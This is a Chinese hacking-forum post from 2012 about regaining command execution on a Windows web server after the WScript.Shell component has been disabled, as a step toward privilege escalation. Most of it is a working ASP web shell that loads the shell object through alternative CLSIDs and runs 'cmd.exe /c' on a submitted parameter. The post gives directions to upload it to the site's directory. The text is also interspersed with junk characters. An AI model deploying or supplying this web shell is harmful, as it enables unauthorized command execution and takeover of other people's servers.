找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1895|回复: 0
打印 上一主题 下一主题

wscript.shell删除解决办法

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:36:53 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
可能有很多人,看到关闭了wscript.shell,就感觉没提权的希望了。就会放弃。' a$ K  x3 [! W  C! P0 t; Y) I
一般当闭上面组件时,你上传cmd.exe到上面去是运行不了命令的。运行时会说出错。) K2 F6 u# f3 g; v
要想让运行命令可以试试这种方法,成功率为五五之数。& I1 d: }& w2 S* m: h$ e& L4 d9 c% A! V
把下面代码复制:# t5 v' z% r8 ]# [' x
<object runat=server id=oScriptlhn scope=page classid="clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8"></object>
8 x- l6 C' H+ f8 O8 f  t<%if err then%>, l1 ], Z5 k( X' f1 K
<object runat=server id=oScriptlhn scope=page classid="clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B"></object>
9 \+ K4 N% `9 q! A9 L: K! {<%+ a: B" ?8 a# {3 [- L; s- s, L2 R
end if
. h3 O: v7 n1 ?response.write("<textarea readonly cols=80 rows=20>")
5 d. `) _; o. |' z3 Q" v! n; }On Error Resume Next
) O$ q/ ~4 I0 yresponse.write oScriptlhn.exec("cmd.exe /c" & request("c")).stdout.readall
$ n1 F& E0 z: Z7 v/ U, p! qresponse.write("</textarea>")
9 }- F2 o+ v2 B& R5 i2 Xresponse.write("<form method='post'>")( Q. a4 _7 s  T3 C9 f; o
response.write("<input type=text name='c' size=60><br>"). i0 e7 S& V+ F& ?( u- E7 ~9 \% z
response.write("<input type=submit value='执行'></form>")
. o+ ^; i) Q  y%>4 d( q. z  u$ f, ]2 z6 ^' F# Y% d

! y5 S* \' s' q" A! W3 V保存为一个asp文件,然后传到网站目录上去
2 N* _! M- t; N6 F! ~运行的时候可能会出现两个问题,第一是运行了为什么运行不了命令,这个你可以试着再上传个cmd.exe然后把路径写入上面代码。
) g4 B( J; r* d0 `0 R% Z我用此成功运行过cacls命令。: y% a5 N3 D5 N
4 h4 g2 s: h3 g, j7 h, z0 y
第二那就是运行时出错,可能限制某些代码执行
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表